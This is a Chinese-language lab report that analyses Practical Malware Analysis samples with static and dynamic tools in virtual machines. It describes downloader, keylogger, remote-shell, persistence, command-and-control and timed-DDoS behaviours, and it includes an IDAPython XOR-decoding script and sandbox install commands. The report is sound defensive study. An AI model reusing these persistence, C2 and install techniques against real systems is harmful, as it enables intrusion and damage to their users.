这个程序的主要目的就是通过COM接口访问一个网址 http://www.malwareanalysisbook.com/ad.html

2.4 Lab1-04

2.4.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230108153026282

从扫描结果来看,可以确认该文件是病毒文件。

2.4.2 确认文件的编译时间

我们使用 PETools 工具进行分析。

PE 头的 _IMAGE_FILE_HEADER 结构体中,TimeDateStamp 这个字段记录了文件的创建时间。

image-20230108153107451

查看 Labe1-02.exe 文件的创建时间是2019年8月30日。该 Lab 的编写时间早于该值,可以断定该文件的创建时间是伪造的。

2.4.3 检查文件是否被加壳

我们使用 PEiD 软件进行检查。发现没有加壳:

image-20230108153343117

可以看到该程序是用 Microsoft Visual C++ 6.0 编写的。

2.4.4 查看导入函数

我们使用 PEiD 软件查看导入函数。我们将 Labe1-04.exe 拖入,并查看导入表:

image-20230108153620393

另外,还有以下 API

image-20230108153645124

  • 对资源节进行操作:LoadResourceFileResourceSizeofResource
  • 从资源节中加载数据,写一个文件到磁盘上:CreateFile,WriteFile
  • 执行磁盘上的文件:WinExec
  • 将文件写到系统目录:GetWindowsDirectory
  • 获得进程的文件描述符,也是为了操作远程的进程:OpenProcessGetCurrentProcess
  • 可以运行另一个程序:WinExec

查看另一个程序调用的DLL文件 ADVAPI32.dll

image-20230108153827096

  • 可以通过令牌的方式确保只运行一个进程在系统中:AdjustTokenPrivileges
  • 可以去查找用户的登录信息等系统敏感信息:LookupPrigilegeValueA

2.4.5 strings 查看可执行文件的可打印字符串

strings.exe 与待测文件放在一个目录下,使用命令 .\strings.exe Lab01-04.exe

image-20230108154310973

其中存在 GetWindowsDirectoryA 以及 \system32\wupdmgrd.exe,并且经过搜索,系统中并不存在相关可执行文件,可以猜测恶意代码获取文件夹地址后创建或修改该文件。

2.4.6 检测和抽取资源

我们使用 Resource Hacker 工具来查看这个文件:

image-20230108154750044

可以看出在BIN目录下有个101:1033

我们将这个资源节里的代码导出来保存,再用 IDA 来分析:

image-20230108155104570

image-20230108155121406

我们可以发现这个导出的恶意代码里面包含了一个网址,和 wupdmgrd.exewinup.exe

我们也可以通过这个http://www.practicalmalwareanalysis.com/updater.exe,结合第四节导入函数的分析来断定这是下载木马的程序,木马就是 updater.exe ,在网络中的位置就是www.practicalmalwareanalysis.com。

三、Lab3 分析

3.1 Lab3-01

3.1.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230108163813066

从扫描结果来看,可以确认该文件是病毒文件。

3.1.2 确认文件的编译时间

我们使用 PETools 工具进行分析。

PE 头的 _IMAGE_FILE_HEADER 结构体中,TimeDateStamp 这个字段记录了文件的创建时间。

image-20230108163858886

查看 Lab3-01.exe 文件的创建时间是2008年1月6日。

3.1.3 检查加壳情况与进行准备工作

我们使用 PEiD 软件进行检查:

image-20230108164042564

我们发现程序被加壳。尝试用万能脱壳工具进行脱壳,发现脱壳失败:

image-20230108164232199

我们只能尝试其他分析方式。我们用 PEid 软件查看导入函数,发现只有很少的导入函数:

image-20230108165829787

使用 IDA 软件查看该程序的字符串:

image-20230108170042701

前面大部分的字符串都是乱码,但是后面的字符串中可以看出这里有个网址,还有一个vmx32to64.exe,还有一些注册表的位置。

我们猜测,程序可能会通过连接访问该网址下载某些木马文件或者通过 vmx32to64.exe 下载打开某些后门,所以在接下来的动态分析中重点关注注册表修改信息和文件的增加删除以及联网操作。

3.1.4 进行动态分析

使用 Regshot 进行注册表分析:

拍摄第一次快照后运行 Lab03-01.exe

image-20230110114051796

运行 Lab03-01.exe 后记录第二次快照:

image-20230110114118698

点击 Compare 按钮将两次注册表信息对比后发现新增注册表键值发现在自启动项 VideoDriver 中增加了键值 43 3A 5C 57 49 4E 44 4F 57 53 5C 73 79 73 74 65 6D 33 32 5C 76 6D 78 33 32 74 6F 36 34 2E 65 78 65,将它换成字符为 C:\WINDOWS\system32\vmx32to64.exe,说明 VideoDriver 自启动项就是指向 system32目录下的 vmx32to64.exe

使用 process explorer 分析:

打开 explorer 的下端窗口查看 DLLs 动态链接库:

image-20230110115104982

image-20230110115901769

Lab03-01.exe 中存在 ws2_32.dllwshtcpip.dll,所以说明存在网络方面的操作。

我们使用Process Monitor工具监视样本操作行为,过滤出 Lab03-01.exe

image-20230110125912045

再将 Lab03-01.exe 的设置键项和写文件的操作过滤出来:

image-20230110131133303

可以看到,程序在目录 C:\WINDOWS\System32\ 下创建了一个程序 vmx32to64.exe

image-20230110131246689

image-20230110131300510

添加了一个自启动项,且该启动项指向程序 C:\WINDOWS\System32\vmx32to64.exe

image-20230110131340915

使用工具 WinMD5 工具查看 vmx32to64.exeLab03-01.exeMD5 值:

image-20230110131420915

两个程序的 MD5 值一样,说明 Lab03-01.exe 将自己复制到了 C:\WINDOWS\System32 目录下,并重命名为 vmx32to64.exe

我们使用 ApateDNS 进行分析。在 Kali 虚拟机上开启 Inetsim

image-20230110131631745

在实验机中填写虚拟机 KaliIP,并开始服务:

image-20230110131740479

运行 Lab03-01.exe,发现其访问了网址:www.practicalmalwareanalysis.com

image-20230110131939513

3.2 Lab3-02

3.2.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230110132011011

从扫描结果来看,可以确认该文件是病毒文件。

3.2.2 确认文件的编译时间

我们使用 PETools 工具进行分析。

PE 头的 _IMAGE_FILE_HEADER 结构体中,TimeDateStamp 这个字段记录了文件的创建时间。

image-20230110132131733

查看 Lab3-02.dll 文件的创建时间是2010年9月28日。

3.2.3 检查加壳情况与进行准备工作

我们使用 PEiD 软件进行检查文件是否被加壳:

image-20230110132415754

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

我们用 PEid 软件查看导入函数,首先分析 Kernel32.dll 中的 API 函数:

image-20230110132739680

image-20230110132753326

由以上两个 API 函数可知,程序会创建进程和线程。

分析 Advapi32.dllAPI 函数:

image-20230110133250798

发现程序可以创建服务、操控服务、操作注册表。

分析 Wininet.dllAPI 函数:

image-20230110133349632

发现程序可以对网络进行操作。

接着对导出表分析,发现下面5个导出函数:

image-20230110133440198

然后就是查看其中的字符串信息了。使用 IDA 查看程序的字符串信息:

image-20230110133737482

发现了网址信息。还有一些程序信息:

image-20230110133814433

猜测这个程序是恶意程序自主运行的。

程序中还有一些下载文件的、运行程序的,还包括之前的导出函数:

image-20230110133924318

程序还有注册表操作:

image-20230110134008975

3.2.4 进行动态分析

我们进行相应的注册表分析。在运行 Lab03-02.dll 前利用 Regshot 记录一下注册表信息:

image-20230110135037209

Windows系统中的 rundll32.exe 专用于运行 dll 程序,就先用导出函数中的 installA 来尝试安装程序,

rundll32.exe Lab03-02.dll,installA

我们在 Windows 自带的注册表编辑器中发现安装成功,安装了一个名为 ServiceDll 的文件:

image-20230110134705058

Regshot 中点击 compare 按钮,对比运行 Lab03-02.dll 前后的变化:

image-20230110135144404

key added 中发现增加了一个 IPRIP 的服务,说明 Lab03-02.dll 将自己安装成一个 IPRIP 服务,并且 dll 需要一个可执行程序来执行它,在注册表中发现了 svchost.exe 执行程序,加重了是它运行的嫌疑。该恶意代码执行时显示的名字为“Intranet Network Awareness(NIA+)”。

我们使用 ApateDNS 进行虚拟网络分析

配置好 kaliwinxp 的虚拟网络,开启 ApateDNS,并在 kali 中用 nc 监听80端口,然后可以使用 net start 开启 IPRIP 服务:

image-20230110135453233

启动 IPRIP 服务后发现 Lab03-02.dll 访问了 practicalmalwareanalysis.com 网址:

image-20230110135516201

Kali 虚拟机中监听到以下信息:

image-20230110135524744

发现它会请求获取 serve.html 网页文件,成功验证之前的网络服务猜测。

开启 IPRIP 服务后 ctrl+F 搜索 Lab03-02.dll 后,发现 Lab03-02.dll 确实附着在 svchost.exe 上运行,其 pid 为1028,可以确定 Lab03-02.dll 就是通过 svchost.exe 执行的:

通过 process explorer 分析,找到1028程序,确实在它的里面找到了 Lab03-02.dll

image-20230110135815200

总结前面的分析,Lab03-02.dll 通过 svchost.exe 运行把自己安装成一个 IPRIP 服务,该服务的作用是向 practicalmalwareanalysis.com 发送了一个 HTTP GET 请求,获取 serve.html 页面。

3.3 Lab3-03

3.3.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230110140001728

从扫描结果来看,可以确认该文件是病毒文件。

3.3.2 确认文件的编译时间

我们使用 PETools 工具进行分析。

PE 头的 _IMAGE_FILE_HEADER 结构体中,TimeDateStamp 这个字段记录了文件的创建时间。

image-20230110140710952

查看 Lab3-01.exe 文件的创建时间是2011年4月8日。

3.3.3 检查文件是否被加壳

我们使用 PEiD 软件进行检查文件是否被加壳:

image-20230110141208033

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

3.3.4 进行动态分析

在打开 Lab03-03.exe 之前,先开监控软件,进行监控。

在process monitor中,发现程序一启动,就有大量的 svchost.exe

image-20230110143440030

process explorer 中,可以看到svchost.exe 程序,且每次运行该程序都会多一个 svchost.exe ,然后该进程自动结束:

image-20230110143930877

当进一步查看 string 内容的时候,发现一个 log 文件以及一些类似于键盘命令的字符串,但是在 image 的模式下并没有出现过:

image-20230110144047803

我们分析该病毒的感染特征。在 process explorer 查得其 PID 为3224:

image-20230110144535343

Process Monitor 中对 PID 进行过滤,分析 svchost.exe 的操作特征。我们发现其频繁的对 log 文件进行了操作:

image-20230110144446804

查看了下目录,发现其创建了一个文件:

image-20230110144718975

打开 practicalmalwareanalysis.txt 文件,观察里面的文件内容:

image-20230110144742804

发现我们在 process monitor 上面的操作被记录。我们猜测该程序有监控键盘,记录键盘、鼠标等监控功能。于是我在桌面建立一个 txt ,并输入一些内容,再次打开 practicalmalwareanalysis.txt 文件:

image-20230110144907654

综合以上的分析,我们推测程序的功能是:监控记录用户的键盘记录,可能是为了获得用户的账号密码。一般来说,获取用户键盘记录后,会将其进行网络传输,但该程序尚未进行网络传输。

3.4 Lab3-04

3.4.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230110140022844

从扫描结果来看,可以确认该文件是病毒文件。

3.4.2 确认文件的编译时间

我们使用 PETools 工具进行分析。

PE 头的 _IMAGE_FILE_HEADER 结构体中,TimeDateStamp 这个字段记录了文件的创建时间。

image-20230110145309207

查看 Lab3-01.exe 文件的创建时间是2011年10月18日。

3.4.3 检查文件是否被加壳

我们使用 PEiD 软件进行检查文件是否被加壳:

image-20230110145401551

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

3.4.4 程序分析

我们查看导入表:

image-20230110145549599

可以看到,通过导入表中的 API 函数,推测该程序具有复制文件、读写文件功能。

根据下图中的导入表中的 API 函数,推测程序还有创造文件、创建进程等功能:

image-20230110145821406

该程序的 getSystemDirectoryA 函数,可以用来获取系统目录:

image-20230110150013874

Advapi32.dll 中存在关于注册表的操作、创建服务、删除服务等:

image-20230110150057214

使用 IDA 查看程序的字符串:

image-20230110150333125

image-20230110150442710

发现了网址、系统根目录、系统函数、cmd.exe等。

双击运行该恶意代码时,程序会立即将自身删除,通过 process monitor 不难发现该程序打开了一个 cmd.exe

image-20230110151222537

因为文件会自动删除,所以无法进行更多有效的动态分析。

四、Lab5 分析

对于该 lab 中的 dll 文件,我们使用 IDA 软件进行分析。

4.1 分析 DNS 的内容

我们寻找该 dll 文件的主函数 DllMain

image-20230110195645879

点击 Imports,进入导入函数窗口,按 Ctrl+F 按键搜索gethostbyname,获得地址 100163CC

image-20230110200118220

我们双击 gethostbyname,链接到该函数处,按 “X” 键,获得交叉引用次数。可以看到,除去重复的,由此可知有5个函数调用了它:

image-20230110200515254

在汇编界面,按“G”,弹出地址跳转窗口,我们跳转到该地址:

image-20230110201130419

直接看调用,我们发现使用了 call 函数调用,把栈顶的数据作为参数传给函数,往上看发现一个 push 命令,将 eax 值压入栈中。再观察 eax 值,往上是个 add 指令,加法指令,加上 0D,十进制为13。再往上看,发现一个 mov 指令,将 off_10019040 赋值给 eax,直接双击该参数,就跳转到了这个位置:

image-20230110201532450

发现一个名为 aThisIsRdoPicsP 的变量。双击该变量,获取到字符串:

image-20230110201633446

因此,可知 DNS 的内容就是 pics.praticalmalwareanalysis.com

4.2 分析引用 cmd.exe 代码区域

IDA View 中找到该区域:

image-20230110202258350

然后发现这个字符被压入了栈中:

image-20230110202346627

我们分析这个函数的开头,会发现以下字符串 'Hi,Master [%d/%d/%d %d:%d:%d]

image-20230110205200581

我们往下看,还看到了This remote shell session,可以分析出这是一个远程 shell 会话函数:

image-20230110205452093

可知该区域的代码可以为攻击者开启一段远程 shell 会话。

4.3 分析 PSLIST 导出函数

进入 exports 窗口,然后双击该函数,跳转到目的地,函数如下:

image-20230110214928100

我们查看该函数的流程图:

image-20230110214959898

从流程图看有两个分支,然后有几处调用。该函数先把 dword_1008E5BC 变量置1,然后调用了 sub_100036C3,双击后,发现该函数获取了系统平台信息的详细版本信息,也即该部分的功能是对比是否是某一个操作系统。dwPlatformId 为2,平台为 VER_PLATFORM_WIN32_NT,具体系统如下所示:

image-20230110221131827

函数如下所示:

image-20230110215221645

之后出现了分支,true 是直接退出,所以看 false 分支:

再次出现两个分支,分别调用了 sub_1000664Csub_10006518。分别查看这两个函数。查看 sub_1000664C 时,出现了“CreateToolhelp32Snapshuot”的字样,还有最多的字样是“thread”,说明该函数开启了一个进程(openProcess):

image-20230110215529426

image-20230110215640004

我们发现了一个进程列表 ProcessID,猜测该函数获取了系统的进程列表。sub_10006518 的内容和这个差不多,所以该函数可以获取一个进程列表信息。

综合以上分析,我们得到 PSLIST 导出函数的功能是查询所有进程,并将该进程列表通过网络发送出去,或者寻找某个特定进程并获取其信息。

4.4 对 socket 的调用

跳转到 0x10001701,发现存在对 socket 的调用:

image-20230110215921336

总共向栈中压入了3个数值,分别是6,1,2,后面的注释里写了 protocoltypeaf。经过查阅相应资料可知:

type protocol af
传输方式/套接字类型 传输所用的协议 地址族,也就是IP类型(IPv4/IPv6)

查看 Windows 的手册,得知,protocol6 代表 IPPROTO_TCP,也就是设置传输协议为 TCP

img

type1 代表使用 Internet 地址系列,指要使用 IP 进行通信:

img

af2 代表使用 IPv4 进行通信:

img

4.5 导入Python脚本

我们运用下面的 Python 脚本:

ea=idc.get_screen_ea()
for i in range(0x00,0x50):
    b=idc.get_wide_byte(ea+i)
    d=b^0x55
    ida_bytes.patch_byte(ea+i,d)

该脚本的运行流程为:get_screen_ea() 函数获取 IDA 调试窗口中光标所指向代码的地址,然后在 0x000x50 间循环,逐字相加,再与 0x55 异或,最后将结果输出返回到 IDA 对应的地址中。

安装的 IDA python 插件,并导入该脚本:

image-20230110222859244

可以发现,字符串发生变化:

image-20230110222829678

然后在 Hex view 中查看,字符串已经正常显示:

image-20230110223010693

五、Lab6 分析

5.1 Lab6-01分析

5.1.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230110223644676

从扫描结果来看,可以确认该文件是病毒文件,但检出的引擎并不多。

5.1.2 检查文件是否被加壳

我们使用 PEiD 软件进行检查文件是否被加壳:

image-20230110224024775

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

5.1.3 查看程序的导入表和字符串

查看程序的导入表:

image-20230110224126597

发现存在名为 InternetGetConnectedStateAPI 函数,其为可用网络连接的函数,推测可能有联网行为。

使用 IDA 软件查看程序的字符串,发现存在提示网络连接提示信息的字符串:

image-20230110224438277

5.1.4 程序分析

回到 main 函数分析程序结构:

image-20230110224540457

查看 main 的程序流程图:

image-20230110224627990

我们分析 sub_401000 函数:

image-20230110224933295

查看其函数流程图:

image-20230110225005973

可以发现结构很简单,只存在两个函数调用,然后对第一个函数(InternetGetConnectedState)返回值进行判断,然后看关键 push 语句可以推测这是一个输出函数。

使用 cmp 对保存结果的 eax 寄存器与 0 比较,使用 jz 指令控制执行流。存在可用连接时, InternetGetConnectedState返回 1,否则返回 0;返回 1 时,零标志位(ZF)会被清除,jz 指令进入 false 分支。两个分支 mov eax, 1即为 1,连接成功;xor eax, eax 即为 0,连接失败。

综合以上分析,可以得到程序的功能是:检测本地能不能使用网路连接的程序,恶意代码可以用于检测本地的连接是否 ok,如果可以,程序会打印一个字符串,然后返回1;如果不行,那也是打印一个字符串,然后返回0

我们运行一下程序验证上述分析结果:

image-20230110225509311

断开网络,发现显示网络连接失败:

image-20230110225548596

5.2 Lab6-02分析

5.2.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230110223808233

从扫描结果来看,可以确认该文件是病毒文件。

5.2.2 检查文件是否被加壳

我们使用 PEiD 软件进行检查文件是否被加壳:

image-20230110225903289

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

5.2.3 查看程序的导入表和字符串

查看程序的导入表:

image-20230110230241754

我们发现,相比较上一个程序,多了几个函数都是网络相关,主要的功能是打开一个链接并且读取数据。

再使用 IDA 软件观察该程序的字符串:

image-20230110230439505

我们发现和上个程序的字符串相类似,仅仅多了一个URL链接和一些提示信息。

5.2.4 程序分析

我们实际运行:

image-20230110232223588

我然后在 Win XP 虚拟机中运行该程序,使用 Wireshark 监听流量。Wireshark 开启监听后,运行程序:

image-20230110233430340

可以看到程序通过 DNS 请求查询恶意网址。

我的 XP 系统的 Internet Explorer 版本是IE 6.0

image-20230110233945219

进一步分析 GET 请求,可以发现,程序使用 GET 请求恶意网址时,该文件伪造了user-agent

image-20230110233756356

我们使用 IDA 软件进行程序的分析。回到 main 函数分析程序结构:

image-20230110230601325

查看 main 函数的程序流程图:

image-20230110230711682

我们先来看第一个函数:

image-20230110230958656

我们发现了一个在上一小节中比较熟悉的函数 InternetGetConnectedState,基本可以断定它是在检查是否有可用网络。

往下分析,程序列举了一些情况:

image-20230110231558472

我们接着看:

image-20230110231742429

我们发现,程序中存在 InternetExplorer7.5/pma 作为 httpuser-agent,程序还加载了 http://www.practicalmalwareanalysis.com/cc.htm 这个网页。

综合以上分析,程序首先判断是否存在一个可用的 Internet 连接,如果不存在就终止运行;否则,程序使用一个独特的用户代理尝试下载一个网页。该网页包含了一段由 <!– 开始的 HTML 注释,程序解析其后的那个字符并输出到屏幕,输出格式是“Success:ParsedcommandisX“,其中 X 就是从该 HTML 注释中解析出来的字符。如果解析成功,程序会休眠1分钟,然后终止运行。

5.3 Lab6-03分析

5.3.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230110223831536

从扫描结果来看,可以确认该文件是病毒文件。

5.3.2 检查文件是否被加壳

我们使用 PEiD 软件进行检查文件是否被加壳:

image-20230110230045400

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

5.2.3 查看程序的导入表和字符串

查看程序的导入表:

image-20230110234459534

和前面两个程序一样,同样发现了网络连接的 API 函数。

再使用 IDA 软件观察该程序的字符串:

image-20230111131245980

我们发现和上个程序的字符串相类似,并增加了一些提示信息。另外,除在前面的程序中发现的一些字符串外,还有注册表键、文件路径等,且 Software\\Microsoft\\Windows\\CurrentVersion\\Run 常用于恶意代码自启动。

另外,我们查看导入函数,发现存在对文件操作的函数和注册表函数:

image-20230111131626504

另外,我们发现对网络操作的函数:

image-20230111131736869

5.3.4 程序分析

我们使用 IDA 软件进行程序分析。我们先从 main 函数开始看:

image-20230111131844127

sub_401000(检查网络连接)和 sub_401040(下载网页并解析 HTML 注释)两个函数相同,sub_401271函数是printf,新函数是 sub_401130

我们来看 sub_401130 函数:

image-20230111134114663

arg_0 是标准 main 函数参数的 argv[0]var_8AL 设置。eax 是上一个函数(sub_401040 用于下载 HTML 网页解析注释)调用的返回结果,而 AL 包含在 eax 中。因此,var_8 包含 HTML 注释中解析出的指令字符。

我们分析该函数的功能,大致有打印出错信息、删除一个文件、创建一个文件、设置一个注册表项值、复制一个文件、休眠100秒等。根据 switch 的判定条件:

image-20230111135729163

a - CreateDirectoryA函数,判断文件路径是否存在”C:\\Temp“,不存在则创建它。

b - CopyFileA函数,两个参数:

  • 源文件:传递给当前函数的一个参数,当前程序名(argv[0])
  • 目的文件:”C:\\Temp\\cc.exe

即是将Lab06-03.exe复制到 C:\\Temp\\cc.exe

c - DeleteFileA函数,参数是 C:\\Temp\\cc.exe,即当该参数存在时,删除。

image-20230111140140065

d - 在注册表中设置,以持久化运行。将Software\Microsoft\Windows\CurrentVersion\Run\Malware值设置为C:\Temp\cc.exe,实现跟随系统启动实现自启动。

image-20230111140317688

e-Sleep休眠,186A0h100 秒。

image-20230111140426401

image-20230111140357336

default选项:’Error 3.2: Not a valid command provided

XP 虚拟机中实际运行:

image-20230111140831128

综合以上分析,我们总结该恶意代码的功能:

首先检查是否存在网络连接。没有则终止,有则继续尝试下载网页,包含以<!--开头的HTML注释,该注释的第一个字符用于 switch 语句决定程序在本地系统中的下一步行为,包括删除一个文件、创建一个文件、设置一个注册表项值、复制一个文件,或者休眠100秒。

5.4 Lab6-04分析

5.4.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230110223846682

从扫描结果来看,可以确认该文件是病毒文件。

5.4.2 检查文件是否被加壳

我们使用 PEiD 软件进行检查文件是否被加壳:

image-20230110230148377

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

5.4.3 查看程序的导入表和字符串

查看程序的导入表:

image-20230111141145976

和前面三个程序一样,同样发现了网络连接的 API 函数。

再使用 IDA 软件观察该程序的字符串:

image-20230111141321949

除了标记行会出现一个格式输出符 %d 外,与前面三个程序没有明显区别。

5.4.4 程序分析

我们使用 IDA 软件进行程序分析。我们先从 main 函数开始看:

image-20230111162315480

可以看到,与前三个程序的程序结构都不太一样。

我们从开头开始分析。这里与前面类似,调用 sub_401000sub_401000 返回的是此时网络连接的状态,如果是不可用的状态,就返回 0 ,反之返回 1。然后下面比较返回值和 0 的关系,如果返回值不等于 0,则 ZF=0,然后 jnz 跳转;跳转之后就继续执行其他的函数,反之如果返回值等于 0,那程序就跳转结束了,并且返回 0 。如果连接可用的话,继续分析:

image-20230111163336686

这里程序将一个值0赋给了var_C,然后无条件跳转到这里:

image-20230111163359502

var_c5A0h比较,再根据比较结果跳转,jge是有符号大于跳转,现在var_C0,所以这个跳转是不会实现的。当程序不跳转时:

image-20230111163501277

函数不跳转之后,来到了这里,把var_C压入了栈中,然后调用了sub_401040这个函数

这个函数是调用InternetOpenA来初始话一个网络连接,然后调用InternetReadFile来从网络获取文件,最后比较获得文件的头四个数是不是 <!--,最后返回第五个字符。

其实我们发现,该程序的结构其实是个for循环:

image-20230111164026228

在程序中,解析 HTML 时,会调用sprintf函数来对输出进行格式化,也即改变 User-Agent 的值:

image-20230111164421458

arg_0是函数最后 push 进栈的参数,也就是 var_C 的值,var_C 的值代表了函数已经循环的次数。

由此可见,该程序相比前三个程序新的网络迹象就是可变的 user-agent

六、Lab7 分析

6.1 Lab7-01 分析

6.1.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230111164850466

从扫描结果来看,可以确认该文件是病毒文件。

6.1.2 检查文件是否被加壳

我们使用 PEiD 软件进行检查文件是否被加壳:

image-20230111164919567

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

6.1.3 查看程序的导入表和字符串

查看程序的导入表:

image-20230111165449015

CreateServiceAOpenSCManagerA 函数表明创建服务,以确保该程序可以随系统运行。而 StartServiceCtrlDispatcherA 函数被系统用于实现服务,且一般立即被调用。该函数制定了服务控制管理器会调用的函数。

再使用 IDA 软件观察该程序的字符串:

image-20230111165759195

可以看到,程序存在一个 MalService,可以推测该程序创建了一个系统服务,网址信息为http://www.malwareanalysisbook.com,用户代理信息为Internet Explorer 8.0

6.1.4 程序分析

我们分析StartServiceCtrlDispatcherA 函数制定的服务控制管理器会调用的函数如下:

image-20230111170755493

可以看到,它所制定的函数是 sub_401040。检查sub_401040函数:

image-20230111170840209

第一个函数是OpenMutexA,它尝试获取一个名为”HGL345“的互斥量句柄。如果调用成功,程序就会退出。

下一个调用是 loc_401064

image-20230111170956096

可以看到,其创建名为 HGL345 的互斥量,两处组合调用,用于保证同一时间这个程序只有一份实例在运行。因为如果有一个实例在运行了,则 OpenMutexA 第一次调用成功,程序就会退出。

OpenSCManagerA 打开服务控制管理器句柄,以便该程序可以添加或修改服务;GetModuleFileNameA 返回当前可执行程序或一个被加载 DLL 的全路径名,返回的全路径名被 CreateServiceA 用于创建一个新的服务。

下面是关于时间的函数:

image-20230111171256189

834h 表示10进制 2100,表示2100年1月1日午夜,而 SystemTimeToFileTime 用于不同时间格式的转换。

再接下来是 SetWaitableTimer 函数的 lpDueTime 参数,它来自于刚才时间转换函数返回的 FileTime

image-20230111171414053

随后进入 WaitForSingleObject 等待,直到2100年1月1日午夜执行:

image-20230111171444081

查看该参数 StartAddress

image-20230111171631276

循环末尾的 jmp 指令是一个无条件跳转,意味着代码将永远不会停止;调用 InternetOpenUrlA,并且一直下载该网址的主页。由于前面 ESI 被设置为20,因此会有20个线程一直调用 InternetOpenUrlA 函数。

该恶意代码的目的是将自己在多台机器上安装成一个服务,进而启动 DDOS 攻击;如果所有的被感染机器在同一时间访问该服务器,会导致该服务器过载并无法访问该站点,导致拒绝服务攻击。

综合以上分析,可以发现程序执行的是一个定时任务:时间为2100年1月1日半夜,发送大量请求到http://www.malwareanalysisbook.com引发 DDOS 攻击。

6.2 Lab7-02 分析

6.2.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230111165026574

从扫描结果来看,可以确认该文件是病毒文件。

6.2.2 检查加壳情况与进行准备工作

我们使用 PEiD 软件进行检查文件是否被加壳:

image-20230111165044919

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

IDA 软件查看该程序的字符串如下:

image-20230111172144375

信息较少,我们查看导入函数:

image-20230111172435659

COM 对象有关。CoCreateInstanceOleInitialize 函数使用 COM 功能。

6.2.3 程序分析

我们实际运行该程序:

image-20230111172620259

直接点运行之后,就会跳出一个窗口,然后就开始连接 www.malwareanalysisbook.com 网址。

image-20230111172729500

我们发现,运行程序后,系统注册表删除了一个键,并新建了四个键。

我们推测,这里是将这个Default HTML Editor设置成了Internet Explorer,然后便是增加了一个\Toolbar\WebBrowser,是浏览器的工具栏的位置,MenuOrder\Favorites 是收藏夹。

我们使用 IDA 进行程序分析,首先看 main 函数:

image-20230111172927552

程序一开始是先调用了 OleInitialize 这个函数,该函数的作用是初始化 COM,然后便是一个判断 jl 跳转,其实就是判断两种情况。

然后我们看看这个函数 OleInitialize 返回值在 MSDN 中的定义是这样的

  • 如果调用成功,返回 S_OKS_OK=0

  • 如果调用失败,返回 S_FALSES_FALSE==1

其他错误返回特定的错误类型,一般这些错误都是小于0的

所以这个 jl 语句的意思就是,如果返回的是除了 S_OKS_FALSE 之外的错误,就直接跳转退出程序。

结合程序流程图,当没有跳转时,执行以下代码:

image-20230111173206816

在这里,IDA 将这个 CoCreateInstance 函数的返回 COM 对象标记为了ppv。为了确定这个程序是调用了哪个COM对象,我们应查看 riid rclsid 分别对应哪个功能:

image-20230111173330291

image-20230111173347733

通过打开注册表编辑器可以看到,CLSID 在注册表中的具体位置在 HKLM\SOFTWARE\Classes\CLSID\

image-20230111173450965

第一个数是2DF01h

image-20230111173532982

我们可以找到这个值的位置,点 LocalServer32 就会发现这个 CLSID 会调用什么函数:

image-20230111173559591

这里的数据显示的是"C:\Program Files\Internet Explorer\iexplore.exe",也就是 IE 浏览器的可执行文件所在位置。

image-20230111173655573

综合以上分析,我们得到程序的功能:若创建COM对象成功,便开始调用以上代码,也即通过调用这个 COM 对象,将参数(网址)传进去,然后便是打开目的地址为 http://www.malwareanalysisbook.com/ad.html IE 窗口。

6.3 Lab7-03 分析

6.3.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230111165144301

从扫描结果来看,可以确认该文件是病毒文件。

6.3.2 检查文件是否被加壳

我们使用 PEiD 软件进行检查文件是否被加壳,这里有两个文件,包括 exedll

exe 文件结果如下:

image-20230111180638476

dll 文件结果如下:

image-20230111165205896

可以看到,该程序未加壳,是用 Microsoft Visual C++ 6.0 编写的。

6.3.3 查看程序的导入表和字符串

查看程序的导入表。首先看 exe 文件:

image-20230111180746735

我们发现,这里有一个 CreateFileACopyFileA 这两个函数,说明会创建一个文件和复制一个文件,创建文件可能会是日志等文件,复制文件可能是把病毒复制到某个地方。

然后是 FindFirstFileAFindNextFileA 两个函数,说明这个函数会在系统中查找什么文件;

然后是 CreateFileMappingAMapViewOfFile 两个函数,这个程序会打开一个文件,然后将它映射到内存中。

但是,在导入表中我们并没有发现 LoadLibrary 或者 GetProcAddress,说明这个函数并没有在运行的时候加载这个 DLL

再使用 IDA 软件观察该程序的字符串:

image-20230111181258288

这里指示了一个路径 C:\\windows\\system32\\kerne132.dll

再来分析 dll 文件,查看其导入表:

image-20230111221613905

这个 dll 文件会创建和打开一个互斥变量,也就是这个函数 CreateMutexAOpenMutexA,然后还会创建进程 CreateProcessA 这个函数,最后调用Sleep函数来休眠。

查看其字符串:

image-20230111221801387

推测该程序是个后门程序,127.26.152.13ip 可能是个后门木马。

6.3.4 dll 文件程序分析

DllMain 开始分析:

image-20230111221932869

一开始调用了 __alloca_probe 函数,这个函数是用来在空间中分配栈空间的函数,然后这个函数的入参是 11F8h 也就是 4600dIDAfdwReason 的值赋值给了 eax,这里的 [esp+11F8h+fdwReason] 说明已经将 [esp+11F8h]这个地方分配出去了;

最后我们将返回值和 1 比较大小,如果不等于 1 呢,则下面的 jnz 跳转执行,jnz 跳转之后就马上执行了返回,所以这个代码是希望这个 eax 也就是 fdwReason 是等于 1 的。

然后我们继续分析主干:

image-20230111222200506

这里我们是先将 byte_10026054 赋值给al。我们来看 byte_10026054 代表的字符串的含义:

image-20230111222237250

